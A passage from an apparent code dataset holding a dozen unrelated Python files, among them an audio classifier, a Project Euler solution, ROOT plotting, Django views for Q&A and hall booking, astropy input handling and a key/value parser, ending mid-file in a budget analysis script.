live streaming\n self.live_audio_feed.append(new_audio[:, 0].copy())\n\n blocks = []\n processing_queue.append(new_audio)\n\n if len(processing_queue) > self.PROCESSING_DELAY + 1: # +1 for JavaScript streaming delay\n start_time = time.time()\n\n # Populate audio signal\n step_audio = processing_queue.pop()\n n_samples = len(step_audio)\n self.signal[:-n_samples] = self.signal[n_samples:]\n self.signal[-n_samples:] = step_audio[:]\n\n # Populate spectrogram\n new_spec = librosa.feature.melspectrogram(np.concatenate([self.last_chunk, step_audio])[:, 0],\n self.SAMPLING_RATE, n_fft=self.FFT_SIZE,\n hop_length=self.CHUNK_SIZE, n_mels=self.MEL_BANDS)\n with warnings.catch_warnings():\n warnings.simplefilter('ignore') # Ignore log10 zero division\n new_spec = librosa.core.perceptual_weighting(new_spec, self.MEL_FREQS, amin=1e-5,\n ref_power=1e-5, top_db=None)\n new_spec = np.clip(new_spec, 0, 100)\n n_chunks = np.shape(new_spec)[1]\n self.spectrogram[:, :-n_chunks] = self.spectrogram[:, n_chunks:]\n self.spectrogram[:, -n_chunks:] = new_spec\n\n # Classify incoming audio\n self.predictions[:, :-1] = self.predictions[:, 1:]\n offset = self.SEGMENT_LENGTH // 2\n pred = self.classify([\n np.stack([self.spectrogram[:, -(self.SEGMENT_LENGTH + offset):-offset]]),\n np.stack([self.spectrogram[:, -self.SEGMENT_LENGTH:]]),\n ])\n self.predictions[:, -1] = pred\n target = self.labels[np.argmax(pred)]\n self.targetsToStore.append(target)\n # Clean up\n self.last_chunk[:] = step_audio[-self.CHUNK_SIZE:]\n\n end_time = time.time()\n time_spent = int((end_time - start_time) * 1000)\n temp, freq = self.get_raspberry_stats()\n blocks_in_ms = int(self.PREDICTION_STEP * self.BLOCK_SIZE / self.SAMPLING_RATE * 1000)\n msg = '[{}] {}% = {} ms / {} ms ({} blocks) - temp: {} | freq: {} ==> {}'\n timestamp = time.strftime('%H:%M:%S')\n self.logger.debug(msg.format(timestamp, np.round(time_spent / blocks_in_ms * 100, 1),\n time_spent, blocks_in_ms, self.PREDICTION_STEP, temp, freq, target))\n\n time.sleep(0.05)\n\n\n def classify(self, segments):\n X = np.stack(segments)\n X -= self.AUDIO_MEAN\n X /= self.AUDIO_STD\n pred = model.predict(X)\n pred = np.average(pred, axis=0, weights=np.arange(len(pred)) + 1)\n return pred\n\n\n\n #gets the most common occurance of an identity\n def getTarget(self):\n counter = 0\n if(self.targetsToStore.__len__() > 1):\n num = self.targetsToStore[0]\n for i in self.targetsToStore:\n appearance = self.targetsToStore.count(i)\n if(appearance > counter):\n counter = appearance\n num = i\n return num\n else:\n noresponse = \"No known noise was detected!\"\n return noresponse","sub_path":"audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":9738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"497303169","text":"\"\"\"\nProject Euler Problem #28\n==========================\n\nStarting with the number 1 and moving to the right in a clockwise\ndirection a 5 by 5 spiral is formed as follows:\n\n 21 22 23 24 25\n 20 7 8 9 10\n 19 6 1 2 11\n 18 5 4 3 12\n 17 16 15 14 13\n\nIt can be verified that the sum of both diagonals is 101.\n\nWhat is the sum of both diagonals in a 1001 by 1001 spiral formed in the\nsame way?\n\"\"\"\n\nfrom math import floor\nfrom pprint import PrettyPrinter\n\ndef fill_grid(size):\n ''' This is ugly as sin. Figure out a cleaner way to do it.'''\n\n total_elements = size**2\n\n middle = floor(size / 2)\n\n grid = [[0]*size for _ in range(size)]\n\n direction_steps = 1\n\n grid[middle][middle] = 1\n curr_element = 2\n\n x_pos, y_pos = middle, middle\n while True:\n for move in [[1,0],[0,1]]:\n for _ in range(direction_steps):\n x_pos += move[0]\n y_pos += move[1]\n\n grid[x_pos][y_pos] = curr_element\n\n if curr_element == total_elements:\n return grid\n else:\n curr_element += 1\n\n for move in [[-1,0],[0,-1]]:\n for _ in range(direction_steps+1):\n x_pos += move[0]\n y_pos += move[1]\n\n grid[x_pos][y_pos] = curr_element\n\n if curr_element == total_elements:\n return grid\n else:\n curr_element += 1\n\n direction_steps += 2\n\n\ndef sum_diagonals(grid):\n\n total = 0\n\n for i in range(len(grid)):\n total += grid[i][i]\n total += grid[len(grid)-1-i][i]\n\n middle = floor(len(grid) / 2)\n total -= grid[middle][middle]\n\n return total\n\n# ------------------------------------------------------\n\nprint(sum_diagonals(fill_grid(1001)))\n","sub_path":"028.py","file_name":"028.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"211398358","text":"import sys, os, ROOT, argparse\nfrom collections import defaultdict\n\nROOT.TH1.SetDefaultSumw2()\nROOT.gROOT.SetBatch(True)\nROOT.gStyle.SetOptStat(\"\")\nROOT.gStyle.SetPaintTextFormat(\"3.2f\")\nROOT.gStyle.SetFrameLineWidth(2)\n\nusage = \"usage: %prog [options]\"\nparser = argparse.ArgumentParser(usage)\nparser.add_argument(\"--inputDir\", dest=\"inputDir\", help=\"Path to input\", default=\"NULL\", type=str) \n\narg = parser.parse_args()\n\nOPTIONSMAP = {\"h_njets_1l_HT300_ge7j_ge1b_Mbl_d1\" : {\"X\" : {\"min\" : 7, \"max\" : 15, \"title\" : \"N_{J} D1\"}},\n \"h_njets_1l_HT300_ge7j_ge1b_Mbl_d2\" : {\"X\" : {\"min\" : 7, \"max\" : 15, \"title\" : \"N_{J} D2\"}},\n \"h_njets_1l_HT300_ge7j_ge1b_Mbl_d3\" : {\"X\" : {\"min\" : 7, \"max\" : 15, \"title\" : \"N_{J} D3\"}},\n \"h_njets_1l_HT300_ge7j_ge1b_Mbl_d4\" : {\"X\" : {\"min\" : 7, \"max\" : 15, \"title\" : \"N_{J} D4\"}},\n \"h_njets_1l_HT300_ge7j_ge1b_Mbl\" : {\"X\" : {\"min\" : 7, \"max\" : 15, \"title\" : \"N_{J}\"}}\n}\n\ndef doOptions(histo, histoName):\n\n is1D = \"TH1\" in histo.ClassName()\n\n for axis, options in OPTIONSMAP[histoName].iteritems():\n\n if axis == \"X\":\n if \"rebin\" in options:\n if is1D: histo.Rebin(options[\"rebin\"])\n else: histo.RebinX(options[\"rebin\"])\n if \"min\" in options and \"max\" in options: histo.GetXaxis().SetRangeUser(options[\"min\"],options[\"max\"])\n if \"title\" in options: histo.GetXaxis().SetTitle(options[\"title\"])\n if axis == \"Y\":\n if \"rebin\" in options:\n if is1D: histo.Rebin(options[\"rebin\"])\n else: histo.RebinY(options[\"rebin\"])\n if \"min\" in options and \"max\" in options: histo.GetYaxis().SetRangeUser(options[\"min\"],options[\"max\"])\n if \"title\" in options: histo.GetYaxis().SetTitle(options[\"title\"])\n if axis == \"Z\":\n if \"min\" in options and \"max\" in options: histo.GetZaxis().SetRangeUser(options[\"min\"],options[\"max\"])\n\ndef prettyHisto(histo,magicFactor=1.0,magicFactor2=1.0):\n histo.GetYaxis().SetLabelSize(magicFactor*0.055); histo.GetYaxis().SetTitleSize(magicFactor*0.08); histo.GetYaxis().SetTitleOffset(0.7/magicFactor)\n histo.GetXaxis().SetLabelSize(magicFactor*0.055); histo.GetXaxis().SetTitleSize(magicFactor*0.08); histo.GetXaxis().SetTitleOffset(0.8/magicFactor2)\n histo.GetZaxis().SetLabelSize(magicFactor*0.055); histo.GetZaxis().SetTitleSize(magicFactor*0.06)\n\ndef fillMap(inRootFile, theMap):\n\n if \".root\" not in inRootFile: return\n histoFile = ROOT.TFile.Open(inRootFile, \"READ\")\n for hkey in histoFile.GetListOfKeys():\n if \"TH\" not in hkey.GetClassName(): continue\n\n if hkey.GetName() == \"EventCounter\" or hkey.GetName().find(\"njets\") == -1: continue\n\n histo = hkey.ReadObj()\n histo.SetDirectory(0)\n\n histo.Sumw2()\n \n theMap.setdefault(hkey.GetName(), histo)\n\nif __name__ == '__main__':\n\n XCANVAS = 2400; YCANVAS = 2400\n\n if arg.inputDir == \"NULL\": quit()\n stub = arg.inputDir.split(\"condor/\")[-1]\n\n inRootFile = arg.inputDir + \"/2017_MC.root\"\n \n outpath = \"./plots/%s/\"%(stub)\n if not os.path.exists(outpath): os.makedirs(outpath)\n\n mapPFAhistos = {}\n\n fillMap(inRootFile, mapPFAhistos)\n\n # Save the final histograms\n\n njetsD1 = mapPFAhistos[\"h_njets_1l_HT300_ge7j_ge1b_Mbl_d1\"]; prettyHisto(njetsD1)\n njetsD2 = mapPFAhistos[\"h_njets_1l_HT300_ge7j_ge1b_Mbl_d2\"]; prettyHisto(njetsD2)\n njetsD3 = mapPFAhistos[\"h_njets_1l_HT300_ge7j_ge1b_Mbl_d3\"]; prettyHisto(njetsD3)\n njetsD4 = mapPFAhistos[\"h_njets_1l_HT300_ge7j_ge1b_Mbl_d4\"]; prettyHisto(njetsD4)\n\n njets = mapPFAhistos[\"h_njets_1l_HT300_ge7j_ge1b_Mbl\"]; prettyHisto(njets)\n\n XMin = 0; XMax = 1\n YMin = 0; YMax = 1\n\n njetsD1.SetTitle(\"\"); njetsD1.Scale(1./njetsD1.Integral()); doOptions(njetsD1, \"h_njets_1l_HT300_ge7j_ge1b_Mbl_d1\")\n njetsD2.SetTitle(\"\"); njetsD2.Scale(1./njetsD2.Integral()); doOptions(njetsD2, \"h_njets_1l_HT300_ge7j_ge1b_Mbl_d2\")\n njetsD3.SetTitle(\"\"); njetsD3.Scale(1./njetsD3.Integral()); doOptions(njetsD3, \"h_njets_1l_HT300_ge7j_ge1b_Mbl_d3\")\n njetsD4.SetTitle(\"\"); njetsD4.Scale(1./njetsD4.Integral()); doOptions(njetsD4, \"h_njets_1l_HT300_ge7j_ge1b_Mbl_d4\")\n njets.SetTitle(\"\"); njets.Scale(1./njets.Integral()); doOptions(njets, \"h_njets_1l_HT300_ge7j_ge1b_Mbl\")\n\n njetsD1.Divide(njets); njetsD1.SetMinimum(0.50); njetsD1.SetMaximum(1.50); njetsD1.GetYaxis().SetNdivisions(308)\n njetsD2.Divide(njets); njetsD2.SetMinimum(0.50); njetsD2.SetMaximum(1.50); njetsD2.GetYaxis().SetNdivisions(308)\n njetsD3.Divide(njets); njetsD3.SetMinimum(0.50); njetsD3.SetMaximum(1.50); njetsD3.GetYaxis().SetNdivisions(308)\n njetsD4.Divide(njets); njetsD4.SetMinimum(0.50); njetsD4.SetMaximum(1.50); njetsD4.GetYaxis().SetNdivisions(308)\n\n njetsD1.SetMarkerColor(ROOT.kBlack); njetsD1.SetLineColor(ROOT.kBlack); njetsD1.SetMarkerSize(4); njetsD1.SetMarkerStyle(20); njetsD1.SetLineWidth(3)\n njetsD2.SetMarkerColor(ROOT.kRed); njetsD2.SetLineColor(ROOT.kRed); njetsD2.SetMarkerSize(4); njetsD2.SetMarkerStyle(20); njetsD2.SetLineWidth(3)\n njetsD3.SetMarkerColor(ROOT.kBlue); njetsD3.SetLineColor(ROOT.kBlue); njetsD3.SetMarkerSize(4); njetsD3.SetMarkerStyle(20); njetsD3.SetLineWidth(3)\n njetsD4.SetMarkerColor(ROOT.kGreen+2); njetsD4.SetLineColor(ROOT.kGreen+2); njetsD4.SetMarkerSize(4); njetsD4.SetMarkerStyle(20); njetsD4.SetLineWidth(3)\n\n mvaBins = [\"D1\", \"D2\", \"D3\", \"D4\"]\n\n for mva in mvaBins:\n\n c1 = ROOT.TCanvas(\"njets%s\"%(mva), \"njets%s\"%(mva), XCANVAS, YCANVAS); \n c1.cd(); ROOT.gPad.SetPad(XMin, YMin, XMax, YMax)\n\n ROOT.gPad.SetGridy(); ROOT.gPad.SetGridx()\n ROOT.gPad.SetTopMargin(0.03)\n ROOT.gPad.SetLeftMargin(0.11)\n ROOT.gPad.SetBottomMargin(0.15)\n ROOT.gPad.SetRightMargin(0.04)\n\n if mva == \"D1\": njetsD1.Draw(\"L\")\n elif mva == \"D2\": njetsD2.Draw(\"L\")\n elif mva == \"D3\": njetsD3.Draw(\"L\")\n elif mva == \"D4\": njetsD4.Draw(\"L\")\n\n c1.SaveAs(\"%s/njets%s_Total_Ratio.pdf\"%(outpath,mva))\n","sub_path":"Analyzer/test/finalNJetsRatioPlots.py","file_name":"finalNJetsRatioPlots.py","file_ext":"py","file_size_in_byte":6092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"226553841","text":"import os\nimport configparser\n\nfrom util.repo_handling.repo_file import repo_file\n\n\nclass GitRepository(object):\n\n worktree = None\n gitdir = None\n conf = None\n\n def __init__(self, path, force=False):\n self.worktree = path\n self.gitdir = os.path.join(path, \".git\")\n\n if not (force or os.path.isdir(self.gitdir)):\n raise Exception(\"Not a Git repository %s\" % path)\n\n # Read configuration file in .git/config\n self.conf = configparser.ConfigParser()\n cf = repo_file(self, \"config\")\n\n if cf and os.path.exists(cf):\n self.conf.read([cf])\n\n elif not force:\n raise Exception(\"Configuration file missing\")\n\n if not force:\n vers = int(self.conf.get(\"core\", \"repositoryformatversion\"))\n if vers != 0:\n raise Exception(\"Unsupported repositoryformatversion %s\" % vers)\n","sub_path":"objects/GitRepository.py","file_name":"GitRepository.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"289978453","text":"#!/usr/bin/env python3\r\n\r\nimport sys\r\n\r\ninput_file = sys.argv[1]\r\nprint(\"Output: {}\".format(sys.argv[1]))\r\nfilereader = open(input_file, 'r')\r\nfor row in filereader:\r\n print(row.strip())\r\nfilereader.close()\r\n","sub_path":"first_script.py","file_name":"first_script.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"555834940","text":"from .models import Question, Answer, Tag, User\nfrom .serializers import QuestionSerializer, AnswerSerializer, UserSerializer, TagSerializer\nfrom rest_framework import status\nfrom rest_framework.permissions import IsAdminUser\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\n\nfrom questions import serializers\n# from .serializers import \n\n@api_view(['GET'])\ndef questionList(request):\n questions = Question.objects.all()\n serializer = QuestionSerializer(questions, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef questionDetail(request, pk):\n questions = Question.objects.get(id=pk)\n serializer = QuestionSerializer(questions, many=False)\n return Response(serializer.data)\n\n@api_view(['POST'])\ndef questionCreate(request):#save logged user in request\n serializer = QuestionSerializer(data=request.data)\n \n if serializer.is_valid():\n serializer.save(user=request.user)\n \n return Response(serializer.data)\n\n@api_view(['PUT'])\ndef questionEdit(request, pk):\n question = Question.objects.get(id=pk)\n serializer = QuestionSerializer(instance=question, data=request.data)\n\n if serializer.is_valid():\n serializer.save()\n\n return Response(serializer.data)\n\n@api_view(['DELETE'])\ndef questionDelete(request, pk):\n question = Question.objects.get(id=pk)\n question.delete()\n\n return Response('Your question has been deleted.')\n\n@api_view(['GET'])\ndef answerList(request):\n answers = Answer.objects.all()\n serializer = AnswerSerializer(answers, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef answerDetail(request, pk):\n answers = Answer.objects.get(id=pk)\n serializer = AnswerSerializer(answers, many=False)\n return Response(serializer.data)\n\n@api_view(['POST'])\ndef answerCreate(request):\n serializer = AnswerSerializer(data=request.data)\n question=Question.objects.get(id=request.data[\"question\"])\n \n if serializer.is_valid():\n serializer.save(user=request.user, question=question)\n \n return Response(serializer.data)\n\n@api_view(['GET'])\ndef tagList(request):\n tags = Tag.objects.all()\n serializer = TagSerializer(tags, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef tagDetail(request, pk):\n tags = Tag.objects.get(id=pk)\n serializer = TagSerializer(tags, many=False)\n return Response(serializer.data)\n\n@api_view(['POST'])\ndef tagCreate(request):\n serializer = TagSerializer(data=request.data)\n \n if serializer.is_valid():\n serializer.save()\n \n return Response(serializer.data)","sub_path":"questions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"100222567","text":"\"\"\"\nModule\n------\nentry.py:\n\nSummary\n-------\nContains routines to facilitate entry of required input data objects, either from manual user input or from\na data file (csv).\n\nNotes\n-----\nMay include database access in the future to save having to create a csv from catalogue after update\n\n\"\"\"\n# Imports included here:\nimport re\n\n# Astropy\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\nfrom astropy.coordinates.name_resolve import NameResolveError\nfrom astropy.io import ascii\nfrom astropy.table import Table\n\nfrom LCExtract import config\n\n\ndef setFilterUsage():\n # uses global filterSelection\n\n getch = input('Please select filters to display (e.g. griz)....: ')\n # if no entry set default to griz, or check for valid filter combinations\n config.filterSelection = getch\n print()\n\n\ndef setEntryType():\n print('Script will accept file or manual input. Default is manual.')\n while True:\n getch = input(f'Please select file (f) or manual object (m) entry..........: ')\n if getch == '':\n getch = 'm'\n if getch[0].lower() in ('f', 'm'):\n break\n print()\n\n return getch[0].lower()\n\n\ndef setManualEntryType():\n while True:\n getch = input(f'Please select named object (n) or coordinate (c) entry..........: ')\n if getch == '':\n continue\n if getch[0].lower() in ('n', 'c'):\n break\n print()\n\n return getch[0].lower()\n\n\ndef getObjectsCSV():\n # uses global defaultFileName\n error_to_catch = getattr(__builtins__, 'FileNotFoundError', IOError)\n while True:\n getch = input(f'Please enter filename, or for default ({config.defaultFileName})...: ')\n getch = config.defaultFileName if getch == '' else getch\n try:\n f = open(getch)\n except error_to_catch:\n print(f'Unable to locate file \"{getch}\". Please try again.')\n else:\n f.close()\n print(f'Using file \"{getch}\".')\n break\n\n data = ascii.read(getch, guess=False, format='csv', header_start=0, data_start=1)\n return data\n\n\ndef getUserObject():\n manualEntryType = setManualEntryType()\n if manualEntryType == 'n': # named object entry\n while True:\n tempName = input('Enter object name....: ')\n try:\n c = SkyCoord.from_name(tempName, parse=True)\n except NameResolveError:\n print('Unable to resolve. Please try again.')\n else:\n print(f'Object {tempName} found in catalog.')\n break\n elif manualEntryType == 'c': # object coordinate entry\n while True:\n print('Enter object coordinates (ICRS frame. Deg assumed unless specified).')\n tempCoordRA = input('RA (e.g. 10.625, 10d37m30s, 0h42m30s, 00 42 30)....: ')\n tempCoordRA += 'd' if not re.findall('[hdms]', tempCoordRA) else ''\n tempCoordDEC = input('DEC (e.g. 41.2, 41d12m00s, +41 12 00)...: ')\n tempCoordDEC += 'd' if not re.findall('[dms]', tempCoordDEC) else ''\n try:\n c = SkyCoord(tempCoordRA, tempCoordDEC)\n except ValueError:\n print('Unable to identify position. Please try again.')\n except u.UnitsError:\n print('Units error occurred. Please try again.')\n else:\n print(f'Object at {c.to_string(\"hmsdms\")} found.')\n tempName = 'Object in ' + c.get_constellation()\n break\n print()\n manual = [{'Name': tempName, # 'Name': 'Sky position: 153.139, 53.117',\n 'RA': c.ra.degree, # 'RA': 153.1393271,\n 'DEC': c.dec.degree, # 'DEC': 53.117343,\n 'Description': f'Position: {c.to_string(\"hmsdms\")} '}] # 'Description': 'Manual input test'\n return manual\n\n\ndef getObjects():\n entryType = setEntryType()\n if entryType == 'f':\n return getObjectsCSV()\n elif entryType == 'm':\n singleObjectData = getUserObject()\n\n tbl = Table(rows=singleObjectData)\n return tbl\n","sub_path":"build/lib/LCExtract/entry.py","file_name":"entry.py","file_ext":"py","file_size_in_byte":4095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"524866899","text":"# vim: set et ts=4 sw=4 fileencoding=utf-8:\n'''\nModule for processing key/value files like vfms.\n'''\n\nimport re\n\nKV_PATTERN = re.compile(r'''((?:[^\\s\"']|\"[^\"]*\"|'[^']*')+)''')\nOB_PATTERN = re.compile(r'''^(\"\\w+[\\w\\s*]+\"|\\w+)$''')\n\n\ndef parse(kvfile):\n '''\n Parse the key/value file.\n\n Returns the key/value data as a dict.\n '''\n ret = {}\n key = None\n val = None\n while True:\n line = kvfile.readline()\n if line:\n line = line.strip()\n if line and not line.startswith('//'):\n if line.startswith('}'):\n return ret\n elif line.startswith('{'):\n val = parse(kvfile)\n ret[key.strip('\"')] = val\n else:\n key = OB_PATTERN.findall(line)\n if key:\n key = key[0]\n else:\n key, val = KV_PATTERN.findall(line)\n ret[key.strip('\"')] = val.strip('\"')\n else:\n return ret\n\n\ndef persist(kvdict, outfile, indent=''):\n '''\n Persist the key/value dict to the file.\n '''\n for key, val in kvdict.items():\n if isinstance(val, dict):\n outfile.write(u'{0}{1}\\n'.format(indent, key))\n outfile.write(u'{0}{{\\n'.format(indent))\n persist(val, outfile, '\\t{0}'.format(indent))\n outfile.write(u'{0}}}\\n'.format(indent))\n else:\n outfile.write(u'{0}\"{1}\" \"{2}\"\\n'.format(indent, key, val))\n","sub_path":"nail/util/kvf.py","file_name":"kvf.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"249974860","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.views import View\nfrom datetime import datetime\n\nfrom .models import *\n\n# Create your views here.\n\ntoday = datetime.today().strftime('%Y-%m-%d')\n\n\ndef index(request):\n Halls = Hall.objects.all()\n status = {}\n\n for Hall in Halls:\n if Hall.reservation_set.filter(date=today):\n status[Hall.id] = 'Busy'\n else:\n status[Hall.id] = 'Free'\n ctx = {\n 'Halls': Halls,\n 'status': status,\n }\n return render(request, 'Book/index.html', ctx)\n\n\ndef Hall(request, id):\n Hall = Hall.objects.get(pk=int(id))\n if Hall:\n reservations = Hall.reservation_set.filter(date__gte=today).order_by('date')\n Halls = Hall.objects.all()\n if Hall.projector == True:\n projector = \"Yes\"\n else:\n projector = \"No\"\n ctx = {\n \"Hall\": Hall,\n \"projector\": projector,\n \"reservations\": reservations,\n \"Halls\": Halls,\n }\n else:\n ctx = {\n \"Hall\": 'Hall Not Available',\n \"projector\": 'NA',\n \"reservations\": 'NA',\n \"Halls\": 'NA',\n }\n return render(request, 'Book/Hall.html', ctx)\n\n\nclass NewHallView(View):\n\n def get(self, request):\n return render(request, 'Book/new_Hall.html')\n\n def post(self, request):\n try:\n name = request.POST.get(\"name\")\n capacity = request.POST.get(\"capacity\")\n projector = request.POST.get(\"projector\")\n proj = True if projector == \"True\" else False\n\n Hall.objects.create(name=name, capacity=capacity, projector=proj)\n return redirect(\"/\")\n\n except Exception as e:\n message = \"Incorrect Data: {}\".format(e)\n ctx = {\n \"message\": message,\n }\n return render(request, 'Book/new_Hall.html', ctx)\n\n\nclass ModifyView(View):\n\n def get(self, request, id):\n Hall = Hall.objects.get(pk=id)\n ctx = {\n \"Hall\": Hall,\n }\n return render(request, 'Book/modify.html', ctx)\n\n def post(self, request, id):\n name = request.POST.get(\"name\")\n capacity = request.POST.get(\"capacity\")\n projector = True if request.POST.get('projector') else False\n Hall = Hall.objects.get(pk=id)\n try:\n Hall.name = name\n Hall.capacity = capacity\n Hall.projector = projector\n Hall.save()\n return redirect(\"/\")\n except Exception as e:\n message = \"Incorrect Data: {}\".format(e)\n ctx = {\n \"message\": message,\n \"Hall\": Hall,\n }\n return render(request, 'Book/modify.html', ctx)\n\n\nclass DeleteView(View):\n\n def get(self, request, id):\n Hall = Hall.objects.get(pk=id)\n ctx = {\n \"Hall\": Hall,\n }\n return render(request, 'Book/delete.html', ctx)\n\n def post(self, request, id):\n action = request.POST.get(\"submit\")\n\n if action == \"Yes\":\n Hall = Hall.objects.get(pk=id)\n Hall.delete()\n return redirect(\"/\")\n\n\nclass ReservationView(View):\n\n def get(self, request, id):\n Hall = Hall.objects.get(pk=id)\n reservations = Hall.reservation_set.filter(date__gte=today).order_by('date')\n ctx = {\n \"Hall\": Hall,\n \"reservations\": reservations,\n }\n return render(request, 'Book/reservation.html', ctx)\n\n def post(self, request, id):\n Hall = Hall.objects.get(pk=id)\n reservations = Hall.reservation_set.filter(date__gte=today).order_by('date')\n try:\n date = request.POST.get(\"date\")\n comment = request.POST.get(\"comment\")\n message = \"\"\n\n if Hall.reservation_set.filter(date=date):\n message = \"This Hall is already occupied for that day\"\n elif date < today:\n message = \"The chosen data can not be in the past\"\n\n if (message == \"This Hall is already occupied for that day\"\n or message == \"The chosen data can not be in the past\"):\n ctx = {\n \"Hall\": Hall,\n \"reservations\": reservations,\n \"message\": message,\n }\n return render(request, 'Book/reservation.html', ctx)\n\n reservation = Reservation.objects.create(date=date, comment=comment)\n reservation.Hall.add(Hall)\n\n except Exception as e:\n message = \"Incorrect Data: {}\".format(e)\n ctx = {\n \"message\": message,\n \"Hall\": Hall,\n \"reservations\": reservations,\n }\n return render(request, 'Book/reservation.html', ctx)\n\n if Hall.projector == True:\n projector = \"TAK\"\n else:\n projector = \"NIE\"\n message = \"\"\"Dziękujemy! Zarezerwowałeś salę: \n {} w dniu: {}\"\"\".format(Hall.name, date)\n ctx = {\n \"Hall\": Hall,\n \"projector\": projector,\n \"reservations\": reservations,\n \"message\": message,\n }\n return render(request, 'Book/Hall.html', ctx)\n\n\nclass SearchView(View):\n\n def get(self, request):\n Hall = request.GET.get(\"Hall\")\n capacity = request.GET.get(\"capacity\")\n date = request.GET.get(\"date\")\n projector = True if request.GET.get('projector') else False\n\n result1 = Hall.objects.exclude(reservation__date=date)\n\n if Hall == \"\":\n result2 = result1\n else:\n result2 = result1.filter(name__icontains=Hall)\n\n if capacity != \"\":\n result3 = result2.filter(capacity__gte=int(capacity))\n else:\n result3 = result2\n\n if projector:\n result4 = result3.filter(projector=projector)\n else:\n result4 = result3\n\n ctx = {\n \"results\": result4,\n \"date\": date,\n }\n return render(request, 'Book/search.html', ctx)\n\n\n\n\n\n","sub_path":"BookConferenceHallApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"491428025","text":"\"\"\"\nQ031 Next Permutation\nMedium\n\nArray;\n\nthis solution passed but it's not in place!\n\nImplement next permutation, which rearranges numbers\ninto the lexicographically next greater permutation of numbers.\n(that means the order in dictionary)\n\nIf such arrangement is not possible, it must rearrange it\nas the lowest possible order (ie, sorted in ascending order).\n\nThe replacement must be in-place and use only constant extra\nmemory.\n\nHere are some examples. Inputs are in the left-hand column\nand its corresponding outputs are in the right-hand column.\n\n1,2,3 → 1,3,2\n3,2,1 → 1,2,3\n1,1,5 → 1,5,1\n\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n def nextPermutation(self, nums: List[int]) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n def swap(i):\n for j in range(i+1, total):\n if nums[i] < nums[j]:\n nums[i], nums[j] = nums[j], nums[i]\n return j\n return False\n\n total = len(nums)\n\n for i in reversed(range(0, total-1)):\n # swap if the previous value is smaller\n # than any of the past values\n # and choose the smallest past value\n if swap(i):\n break\n # sort the numbers after\n nums[i:] = sorted(nums[i:])\n\n\na = [1,1,1]\n\nsol = Solution()\nsol.nextPermutation(a)\nprint(a)","sub_path":"Q031.py","file_name":"Q031.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"20235576","text":"class car:\r\n def __init__(self,manufacture,model,make,transmission,color):\r\n self.manufacture = manufacture\r\n self.model = model\r\n self.make = make\r\n self.transmission = transmission\r\n self.color = color\r\n\r\n def accelerate(self):\r\n print((\"{} {} is moving\").format(self.manufacture,self.model))\r\n\r\n def stop(self):\r\n print((\"{} {} has stopped\").format(self.manufacture,self.model))\r\n\r\nc1 = car(\"Tata\",\"Altroz\",\"2020\",\"Automatic\",\"Midtown Grey\")\r\nc2 = car(\"Mercedes-Benz\",\"GLA\",\"2021\",\"Automatic\",\"Black\")\r\nc3 = car(\"BMW\",\"X1\",\"2021\",\"Automatic\",\"White\")\r\n\r\nc1.accelerate()\r\nc1.stop()\r\n\r\nc2.accelerate()\r\nc2.stop()\r\n\r\nc3.accelerate()\r\nc3.stop()\r\n\r\n\r\n","sub_path":"python/Activity16.py","file_name":"Activity16.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"574591535","text":"import os\nimport csv\n\ncsvpath=os.path.join('Resources','budget_data.csv')\n\nwith open (csvpath, 'r') as csv_file:\n csv_read=csv.reader(csv_file, delimiter=',')\n \n csv_header=next(csv_read)\n \n date=[]\n pl=[]\n plch=[]\n total_pl = 0.0\n total_plch = 0.0\n max_pld=[]\n min_pld=[]\n \n for budget_data in csv_read:\n date.append(budget_data[0])\n pl.append(budget_data[1])\n\n #The total number of months included in the dataset\n total_months = len(date)\n \n #The net total amount of \"Profit/Losses\" over the entire period\n for row in range(total_months):\n total_pl += float(pl[row])\n \n #The changes in \"Profit/Losses\" over the entire period, then find the average of those changes \n for row1 in range(1, (total_months)):\n plch.append(float(pl[row1]) - float(pl[(row1-1)]))\n total_plch += float(plch[(row1-1)])\n #average\n #total_plch += float(plch[row1])\n ave_plch = total_plch / (total_months - 1)\n \n #The greatest increase in profits (date and amount) over the entire period\n #The greatest decrease in losses (date and amount) over the entire period\n max_pl = max(plch)\n min_pl = min(plch)\n\n date1=[]\n for r1 in range(1,len(plch)):\n date1.append(date[r1])\n maxpl_zip = zip(date1, plch)\n\n mz=list(maxpl_zip)\n \n for row2 in range(len(plch)):\n if plch[row2] == max_pl:\n max_pld = mz[row2] \n elif plch[row2] == min_pl:\n min_pld = mz[row2]\n \n \n print(\"-----------------------------\")\n print(\"Financial Analysis\")\n print(\"-----------------------------\")\n print(f\"Total Months: {total_months}\")\n print(f\"Total: ${int(total_pl)}\")\n print(f\"Average Change: ${round(ave_plch,2)}\")\n print(\"Greatest 